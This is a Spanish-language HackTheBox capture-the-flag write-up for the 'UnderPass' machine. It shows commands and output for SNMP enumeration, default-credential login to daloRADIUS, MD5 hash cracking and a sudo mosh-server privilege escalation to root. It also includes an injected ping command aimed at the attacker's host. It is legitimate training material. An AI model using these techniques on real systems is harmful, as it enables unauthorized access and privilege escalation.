UnderPass – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
“UnderPass” es una máquina fácil de la plataforma HackTheBox
. La máquina víctima está corriendo un servicio Simple Network Management Protocol
a través del protocolo UDP
. Este servicio tiene un community string llamado public
. Éste filtra información la cual indica que el servidor se encuentra corriendo un software llamado Daloradius
. Este servicio usa las credenciales por defecto para su panel de operadores, lo cual nos permite ganar acceso a este panel. Este panel filtra un nuevo hash, el cual somos capaces de crackear y obtener una contraseña que funciona a través de SSH
. Ya dentro de la máquina víctima, somos capaces de correr el software Mosh
(que es un software levemente similar para conectarse remotamente con SSH
) con sudo
. Esto nos permite conectarnos al localhost
como el usuario root
, comprometiendo el sistema.
User / Usuario Link to heading
Empezamos con un rápido pero silencioso escaneo con Nmap
en busca de puertos TCP
abiertos:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv
Sólo vemos 2 puertos abiertos: 22
SSH
y 80
HTTP
.
Aplicando algunos scripts de reconocimiento sobre estos puertos con la flag -sVC
obtenemos:
❯ sudo nmap -sVC -p22,80 10.10.11.48
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-25 02:21 -03
Nmap scan report for 10.10.11.48
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_ 256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.46 seconds
Aplicando WhatWeb
contra el sitio web muestra el sitio por defecto para Apache
:
❯ whatweb -a 3 http://10.10.11.48
http://10.10.11.48 [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.48], Title[Apache2 Ubuntu Default Page: It works]
Visiando http://10.10.11.48
sólo confirma los resultados del escaneo previo:
Empezamos a buscar por directorios a través de un Brute Force Directory Listing
con la herramienta Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.48 -x php,txt,html -t 55 --no-error
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.48
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 276]
/index.html (Status: 200) [Size: 10671]
/.php (Status: 403) [Size: 276]
/.php (Status: 403) [Size: 276]
/.html (Status: 403) [Size: 276]
===============================================================
Finished
===============================================================
Pero no encontramos nada interesante.
Ya en este punto vale la pena buscar por puertos UDP
abiertos en la máquina víctima. Aplicamos un escaneo con Nmap
contra puertos UDP
:
❯ nmap -sU --top-ports=1000 10.10.11.48 -vvv --open --stats-every=10s
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-25 02:36 -03
Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).
Initiating Ping Scan at 02:36
Scanning 10.10.11.48 [4 ports]
<SNIP>
Scanned at 2024-12-25 02:36:16 -03 for 1014s
Not shown: 997 closed udp ports (port-unreach)
PORT STATE SERVICE REASON
161/udp open snmp udp-response ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1014.05 seconds
Raw packets sent: 1402 (66.140KB) | Rcvd: 1069 (89.083KB)
-T5
para un escaneo a máxima velocidad, pero no lo recomiendo.Vemos el puerto 161
abierto para el servicio Simple Network Management Protocol
(SNMP
).
Aplicando algunos scripts de reconocimiento sobre este nuevo puerto retorna:
❯ sudo nmap -sVCU -p161 10.10.11.48 -oN targeted_UDP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-25 02:57 -03
Nmap scan report for 10.10.11.48
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: c7ad5c4856d1cf6600000000
| snmpEngineBoots: 29
|_ snmpEngineTime: 3h37m40s
| snmp-sysdescr: Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|_ System uptime: 3h37m40.59s (1306059 timeticks)
Service Info: Host: UnDerPass.htb is the only daloradius server in the basin!
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.29 seconds
Tenemos un community string llamado public
.
Podemos usar la herramienta snmpbulkwalk
para extraer información de esta community string:
❯ snmpbulkwalk -Cr1000 -c public -v2c 10.10.11.48 > snmpbulk-output.txt
y leemos su contenido con cat
:
❯ cat snmpbulk-output.txt
iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (1328337) 3:41:23.37
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
<SNIP>
Tenemos un usuario steve@underpass.htb
. El mensaje también habla acerca de un tal servidor daloRADIUS
:
Daloradius
is a web interface for managing RADIUS
servers. RADIUS
(Remote Authentication Dial-In User Service
) is a protocol for authentication, authorization and user accounting, especially widely used in Wi-Fi and VPN networks.Finalmente, el output también muestra un dominio underpass.htb
. Por lo que agregamos este dominio a nuestro archivo /etc/hosts
:
❯ echo '10.10.11.48 underpass.htb' | sudo tee -a /etc/hosts
Basados en el repositorio de Github para daloRADIUS para su Dockerfile
, debería de haber un directorio /daloradius
en el servidor web. Podemos verificar si este directorio existe usando cURL
y la cabecera de la respuesta con -I
:
❯ curl -s -I http://underpass.htb/daloradius/
HTTP/1.1 403 Forbidden
Date: Wed, 25 Dec 2024 06:09:20 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1
Obtenemos el código 403 Forbidden
, el cual es diferente de 404 Not Found
. Por tanto, este directorio existe, sólo que no tenemos permisos para acceder a este directorio.
Intentamos un nuevo Brute Force Directory Listing
con Gobuster
, buscando por nuevos directorios contenidos dentro del directorio /daloradius
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://underpass.htb/daloradius/ -x php -t 40 --no-error
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://underpass.htb/daloradius/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,yml
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 278]
/library (Status: 301) [Size: 327] [--> http://underpass.htb/daloradius/library/]
/doc (Status: 301) [Size: 323] [--> http://underpass.htb/daloradius/doc/]
/app (Status: 301) [Size: 323] [--> http://underpass.htb/daloradius/app/]
/contrib (Status: 301) [Size: 327] [--> http://underpass.htb/daloradius/contrib/]
/ChangeLog (Status: 200) [Size: 24703]
/setup (Status: 301) [Size: 325] [--> http://underpass.htb/daloradius/setup/]
/LICENSE (Status: 200) [Size: 18011]
<SNIP>
Podemos ver dos archivos LICENCE
y ChangeLog
.
Extrayendo su contenido con cURL
obtenemos:
❯ curl -s http://underpass.htb/daloradius/ChangeLog
release 1.? - WIP
- Ternary expression fix in graph library
- Report fixes
- Fix support for multiple db locations
<SNIP>
❯ curl -s http://underpass.htb/daloradius/LICENSE
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
<SNIP>
Notamos que estos archivos son similares a aquellos del repositorio de Github de daloRADIUS. De hecho, podemos revisar si hay diferencias entre los archivos utilizando el comando diff
:
❯ diff <(curl -s http://underpass.htb/daloradius/LICENSE) <(curl -s https://raw.githubusercontent.com/lirantal/daloradius/refs/heads/master/LICENSE)
❯ diff <(curl -s http://underpass.htb/daloradius/ChangeLog) <(curl -s https://raw.githubusercontent.com/lirantal/daloradius/refs/heads/master/ChangeLog)
No hay output. Lo cual significa que estos archivos son iguales. También obtenemos, a través del escaneo con Gobuster
, archivos similares a aquellos obtenidos en el repositorio de Github.
Por tanto, podemos asumir que archivos como .htpasswd
, Dockerfile
y/o docker-compose.yml
existen. Chequeamos esto usando cURL
:
❯ curl -s -I http://underpass.htb/daloradius/.htpasswd
HTTP/1.1 403 Forbidden
Date: Wed, 25 Dec 2024 06:26:10 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1
❯ curl -s -I http://underpass.htb/daloradius/Dockerfile
HTTP/1.1 200 OK
Date: Wed, 25 Dec 2024 06:26:17 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Mon, 12 Aug 2024 11:36:54 GMT
ETag: "886-61f7ae8e42180"
Accept-Ranges: bytes
Content-Length: 2182
❯ curl -s -I http://underpass.htb/daloradius/docker-compose.yml
HTTP/1.1 200 OK
Date: Wed, 25 Dec 2024 06:26:27 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Mon, 12 Aug 2024 11:36:54 GMT
ETag: "601-61f7ae8e42180"
Accept-Ranges: bytes
Content-Length: 1537
Podemos leer los archivos Dockerfile
y docker-compose.yml
.
El archivo docker.compose.yml
muestra algo de información interesante:
❯ curl -s http://underpass.htb/daloradius/docker-compose.yml
version: "3"
services:
radius-mysql:
image: mariadb:10
container_name: radius-mysql
restart: unless-stopped
environment:
- MYSQL_DATABASE=radius
- MYSQL_USER=radius
- MYSQL_PASSWORD=radiusdbpw
- MYSQL_ROOT_PASSWORD=radiusrootdbpw
volumes:
- "./data/mysql:/var/lib/mysql"
radius:
container_name: radius
build:
context: .
dockerfile: Dockerfile-freeradius
restart: unless-stopped
depends_on:
- radius-mysql
ports:
- '1812:1812/udp'
- '1813:1813/udp'
environment:
- MYSQL_HOST=radius-mysql
- MYSQL_PORT=3306
- MYSQL_DATABASE=radius
- MYSQL_USER=radius
- MYSQL_PASSWORD=radiusdbpw
# Optional settings
- DEFAULT_CLIENT_SECRET=testing123
volumes:
- ./data/freeradius:/data
# If you want to disable debug output, remove the command parameter
command: -X
radius-web:
build: .
container_name: radius-web
restart: unless-stopped
depends_on:
- radius
- radius-mysql
ports:
- '80:80'
- '8000:8000'
environment:
- MYSQL_HOST=radius-mysql
- MYSQL_PORT=3306
- MYSQL_DATABASE=radius
- MYSQL_USER=radius
- MYSQL_PASSWORD=radiusdbpw
# Optional Settings:
- DEFAULT_CLIENT_SECRET=testing123
- DEFAULT_FREERADIUS_SERVER=radius
- MAIL_SMTPADDR=127.0.0.1
- MAIL_PORT=25
- MAIL_FROM=root@daloradius.xdsl.by
- MAIL_AUTH=
volumes:
- ./data/daloradius:/data
Tenemos credenciales para una base de datos con MySQL
: radiusdbpw
y un usuario llamado radius
.
Volviendo a revisar el repositorio de Github (dado que buscar directorios por fuerza bruta ya no tiene sentido dado que ahora tenemos el repositorio que nos muestra todos los directorios disponibles), debería de haber una página /daloradius/app/users/login.php
. Visitando el sitio http://underpass.htb/daloradius/users/login.php
muestra un panel de login:
Intentamos con las credenciales radius:radiusdbpw
y steve:radiusdbpw
, pero no funcionan.
Buscando por daloradius default credentials
(credenciales por defecto para daloradius
) nos lleva a este post, donde se proveen las credenciales: administrator:radius
. Pero tampoco funcionan en el panel anterior.
Buscando por más paneles de login en el repositorio de Github encontramos que el directorio /operators
también tiene una página /login.php
como se puede ver aquí. Visitando así http://underpass.htb/daloradius/app/operators/login.php
muestra otro panel de login realmente similar al panel de login previamente hallado:
Usando las credenciales por defecto administrator:radius
en este panel funciona. Estamos dentro:
En la parte inferior izquierda (y también del panel de login previo) podemos ver una versión: 2.2
.
Buscando por exploits para daloRADIUS
con esta versión no muestra nada. Por ende, debemos explorar la página. Clickeando en Go to users list
muestra algo interesante:
Tenemos un hash: 412DD4759978ACFCC81DEAB01B382403
para un usuario llamado svcMosh
.
Copiamos este hash y usamos hash-identifier
para revisar el tipo de hash:
❯ hash-identifier
<SNIP>
--------------------------------------------------
HASH: 412DD4759978ACFCC81DEAB01B382403
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
<SNIP>
Es un hash de tipo MD5
(lo cual también se puede saber porque el hash tiene 32
carácteres de longitud).
Tratamos de crackear este hash a través de un Brute Force Password Cracking
usando la herramienta JohnTheRipper
(john
) junto con el diccionario rockyou.txt
:
❯ echo -n '412DD4759978ACFCC81DEAB01B382403' > hash_found
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash_found --format=Raw-MD5
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
underwaterfriends (?)
1g 0:00:00:00 DONE (2024-12-25 03:53) 2.173g/s 6487Kp/s 6487Kc/s 6487KC/s undiamecaiQ..underpants2
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Obtenemos una contraseña: underwaterfriends
.
Podemos usar NetExec
para revisar si este hash funciona para alguno de los usuario previamente hallados a través de SSH
:
❯ nxc ssh 10.10.11.48 -u steven -p 'underwaterfriends'
SSH 10.10.11.48 22 10.10.11.48 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.48 22 10.10.11.48 [-] steven:underwaterfriends
❯ nxc ssh 10.10.11.48 -u radius -p 'underwaterfriends'
SSH 10.10.11.48 22 10.10.11.48 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.48 22 10.10.11.48 [-] radius:underwaterfriends
❯ nxc ssh 10.10.11.48 -u svcMosh -p 'underwaterfriends'
SSH 10.10.11.48 22 10.10.11.48 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.48 22 10.10.11.48 [+] svcMosh:underwaterfriends Linux - Shell access!
Tenemos credenciales válidas SSH
: svcMosh:underwaterfriends
.
Finalmente, entramos en la máquina víctima a través de SSH
como el usuario svcMosh
:
❯ sshpass -p 'underwaterfriends' ssh -o stricthostkeychecking=no svcMosh@10.10.11.48
<SNIP>
Last login: Thu Dec 12 15:45:42 2024 from 10.10.14.65
svcMosh@underpass:~$
Podemos obtener la flag de usuario.
Root Link to heading
Revisando qué es lo que puede correr este usuario con sudo
obtenemos:
svcMosh@underpass:~$ sudo -l
Matching Defaults entries for svcMosh on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server
Si corremos este comando obtenemos:
svcMosh@underpass:~$ sudo /usr/bin/mosh-server
MOSH CONNECT 60001 Jf4IdDNlefPouxvjWwkevg
mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
[mosh-server detached, pid = 2592]
Podemos ejecutar Mosh
:
Mosh
is a remote terminal application that supports intermittent connectivity, allows roaming, and provides speculative local echo and line editing of user keystrokes.SSH
, pero para conexiones inestables.Revisando qué es lo que podemos ejecutar con el binario mosh-server
obtenemos:
svcMosh@underpass:~$ sudo /usr/bin/mosh-server -h
Usage: /usr/bin/mosh-server new [-s] [-v] [-i LOCALADDR] [-p PORT[:PORT2` [-c COLORS] [-l NAME=VALUE] [-- COMMAND...]
Pero tratar de inyectar comandos como:
svcMosh@underpass:~$ sudo mosh-server new -- /bin/bash -c "ping -c1 10.10.16.5"
No funciona.
Revisando qué es lo que podemos hacer con Mosh
en la máquina víctima obtenemos:
svcMosh@underpass:~$ mosh
Usage: /usr/bin/mosh [options] [--] [user@]host [command...]
--client=PATH mosh client on local machine
(default: "mosh-client")
--server=COMMAND mosh server on remote machine
(default: "mosh-server")
--predict=adaptive local echo for slower links [default]
-a --predict=always use local echo even on fast links
-n --predict=never never use local echo
--predict=experimental aggressively echo even when incorrect
-4 --family=inet use IPv4 only
-6 --family=inet6 use IPv6 only
--family=auto autodetect network type for single-family hosts only
--family=all try all network types
--family=prefer-inet use all network types, but try IPv4 first [default]
--family=prefer-inet6 use all network types, but try IPv6 first
-p PORT[:PORT2]
--port=PORT[:PORT2] server-side UDP port or range
(No effect on server-side SSH port)
--bind-server={ssh|any|IP} ask the server to reply from an IP address
(default: "ssh")
--ssh=COMMAND ssh command to run when setting up session
(example: "ssh -p 2222")
(default: "ssh")
--no-ssh-pty do not allocate a pseudo tty on ssh connection
--no-init do not send terminal initialization string
--local run mosh-server locally without using ssh
--experimental-remote-ip=(local|remote|proxy) select the method for
discovering the remote IP address to use for mosh
(default: "proxy")
--help this message
--version version and copyright information
Please report bugs to mosh-devel@mit.edu.
Mosh home page: https://mosh.org
El comando --server
es especialmente interesante ya que nos permite ejecutar un comando.
Por ende, tratamos de ejecutar un comando con sudo
dentro de Mosh
(no mosh-server
) con --server
y pasar mosh-server
dentro de éste, conectándose al localhost
:
svcMosh@underpass:~$ mosh --server="sudo /usr/bin/mosh-server" localhost
Obtenemos una conexión como root
en la máquina víctima (localhost
de ésta):
root@underpass:~# whoami
root
root@underpass:~# hostname -I
10.10.11.48
GG. Podemos leer la flag de root
en el directorio /root
.
~Happy Hacking.